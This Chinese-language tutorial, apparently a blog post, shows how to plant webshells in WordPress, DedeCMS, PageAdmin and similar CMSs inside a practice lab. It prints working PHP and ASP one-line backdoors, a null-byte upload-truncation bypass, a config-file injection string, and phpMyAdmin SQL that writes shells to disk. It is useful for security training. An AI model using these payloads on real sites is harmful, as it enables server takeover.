目录
- 什么是webshell
- 拿webshell的姿势
- 实战案例
- 编辑模板拿webshell
- 案例1:wordpress
- 案例2:织梦cms v5.7
- 文件上传拿webshell
- 案例1:织梦cms v5.7
- 案例2:南方数据企业系统,后台上传截断拿webshell
- 文件写入拿webshell
- 案例1:织梦cms v5.7
- 案例2:留言一句话到数据库拿webshell
- zip自解压拿webshell
- 案例1:wordpress
- 案例2:pageadmin
- 修改配置文件
- 案例1:一句话插入配置文件拿webshell
- 案例2:修改配置文件拿webshell
- SQL语句执行拿webshell
- phpmyadmin拿webshell
- 案例1:直接写shell
- 案例2:phpmyadmin 日志拿 webshell
- 参考
什么是webshell
webshell就是以 asp、aspx、php、jsp 或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页文件混在一起,然后就可以使用浏览器来访问该后门文件了,从而得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上的操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
更详细的解释参见:Webshell和一句话木马
拿webshell的姿势
- 编辑模板拿webshell
通过修改模块写入一句话,网站再调用模板的时,会自动加载这个模板,运行后门。
- 文件上传拿webshell
通过后台的上传模块,上传网页后门,就可以拿到webshell
- 文件写入拿webshell
通过可控参数将恶意代码写入文件里,即可获取webshell
- zip自解压拿webshell
上传zip文件,在其加入webshell文件,程序会自动解压,将后门解压到网站目录,可以获取webshell。
- 修改配置文件
通过修改网站的配置文件,直接把后门写到网站里
- 远程图片下载拿webshell
有的网站后台会存在远程图片下载功能,但是没有对其后缀名进行限制,导致可以下去webshell文件。
- 备份拿webshell
很多的asp网站 都存在备份功能,上传有恶意的图片,备份成脚本文件,即可获取webshell
- SQL语句执行拿webshell
有的网站存在sql执行命令,可以通过命令备份或导出一句话后门到指定网站目录,即可获取webshell
- phpmyadmin拿webshell
使用命令进行读写文件
入后门,即可获取webshell
- 编辑器漏洞拿webshell
有的编辑器存在上传漏洞,通过编辑器漏洞可以获取网站的webshell。
实战案例
使用内部靶场 12server6 ,以NAT模式运行,设定为自动获取DNS、ip。之后启动护卫神-主机大师即可。
物理机修改hosts文件绑定靶机的地址即可。
编辑模板拿webshell
案例1:wordpress
在“外观”-“编辑”页面,随意选择一个主题,随意选择一个后缀是php的模板,然后写入一句话木马。这里写入的是<?php phpinfo();eval($_POST['cmd']);?>
,加上phpinfo主要是为了方便获知效果。
去靶机后台看看,确实写入成功。文件路径:
C:\Hws.com\HwsHostMaster\wwwroot\www.cbi1.com\web\wp-content\themes\twentysixteen\404.php
保存模板,然后访问路径。根据文件路径,可以反推出其url地址:
(或者可以百度下“外观”-“编辑”的地址,或者自己本地搭建一下环境,获知地址)
http://www.cbi1.com/wp-content/themes/twentysixteen/404.php
看到我们预留的phpinfo页面,说明地址没问题,然后连接webshell管理工具。
连接蚁剑,呃……页面显示有问题,切换成别的编码方式依然失败。gg
连接菜刀
案例2:织梦cms v5.7
访问“模块”-“默认模板管理”,这里选择 index.htm页面,点击“修改”
- 在主页添加一句话木马
- 更新主页
- 访问新主页
- 是预留的phpinfo页面
- 连接菜刀成功
那么,浏览器一路后退到更新页面,后缀保持为之前的html,再看看原本的效果
再打开就是原本的正常主页了,只不过在页面源代码中可以看见预留的一句话木马内容
文件上传拿webshell
案例1:织梦cms v5.7
准备个一句话木马:<?php phpinfo();eval($_POST['cmd']);?>
访问地址:http://www.cbi2.com/dede/
去靶机后台瞅瞅,传上去了
访问一下webshell地址,看到我们预留的phpinfo页面了,说明地址没问题
连接菜刀成功。
案例2:南方数据企业系统,后台上传截断拿webshell
- 在“新闻资讯”-“添加新闻”模块中,在“新闻图片”中点击“上传”按钮,会出现一个弹窗,复制弹窗的地址,在新标签页中打开
- 本地准备个asp类型的一句话木马:
<%eval request("cmd")%>
- BurpSuite拦截
在路径后面添加 hack.asp%00 ,并对%00编码
进行URL编码之后,正常情况下应该出现一个有点像汉字“口”的东西,如果没有出现,就说明哪里出问题了。
(也完全可能是编码成功,只是字体原因导致的这种显示结果)
换个版本的BurpSuite,并重置一下BurpSuite。显示出“口”了,然后修改一下文件后缀,上传失败。
上网查了一下,是文件内容太少了,填充些垃圾数据,重新上传。
- 上传成功
- 连接菜刀
文件写入拿webshell
案例1:织梦cms v5.7
- 在“模块”-“广告管理”中,点击“增加一个新广告”
-
随便填点东西,一句话木马:
<?php phpinfo();eval($_POST['cmd']);?>
-
获取页面地址
- 访问页面地址,发现没有phpinfo页面
- 先看看网站数据库后台,发现写进去了
- 那就试试菜刀怎么样吧
案例2:留言一句话到数据库拿webshell
- 在“系统管理”-“网站配置”页面,添加允许上传的文件类型
- 在“下载中心”-“添加下载程序”中,上传一句话木马
- 这里使用php一句话木马:
<?php phpinfo();eval($_POST['cmd']);?>
- 发现上传失败,这里我们只需要在后门文件中填充大量垃圾字符即可。
再次点击“上传”按钮后,上传成功
访问以下文件地址,看到了预留的phpinfo页面
成功连接菜刀
zip自解压拿webshell
案例1:wordpress
在“外观”-“主题”页面,通过“添加”按钮添加zip类型的主题,之后网站会对其解压。
我们可以上网上找主题,或者直接改个名字来套用网站的主题。我这里选择后者。
把网站后台的 twentysixteen 主题拿过来改个名字为 hackyou,确认404.php 文件里存在一句话木马,然后将hackyou文件夹打包成zip,上传网站。
去靶机后台瞅一眼。上传成功了
访问webshell地址
连接webshell管理工具
案例2:pageadmin
通过以下位置来上传文件
- 准备一个asp木马,并将其打包成zip
<%eval request("cmd")%>
- 找到文件的所在路径
- 访问webshell地址,连接菜刀
http://www.cbi9.com/templates/hack/hack.asp
修改配置文件
案例1:一句话插入配置文件拿webshell
smtp服务器的框中,写入:smtp.163.com"%><%eval request(chr(35))%><% s="
连接菜刀:
案例2:修改配置文件拿webshell
直接写入一句话木马
连接菜刀
SQL语句执行拿webshell
参见之前的文章:https://blog.csdn.net/weixin_44288604/article/details/120680334
phpmyadmin拿webshell
换用自己的win7靶机
案例1:直接写shell
方式同第8节,只不过这里不是在,存在sql注入的位置写,而是去phpmyadmin中写
select '<?php phpinfo();eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/hack.php'
页面有我们预留的phpinfo
连接菜刀
案例2:phpmyadmin 日志拿 webshell
- 开启日志记录
- SET global general_log = “ON”; 日志保存状态开启;
- SET global general_log_file =‘C:/phpStudy/www/phplog.php’; 修改日志的保存位置。
方式1:点击“编辑”按钮,直接编辑
方式2:通过执行SQL语句来进行修改
- 执行webshell语句
select '<?php phpinfo();eval($_POST[cmd]);?>'
执行成功
看到预留的phpinfo页面
连接菜刀成功
参考
Webshell和一句话木马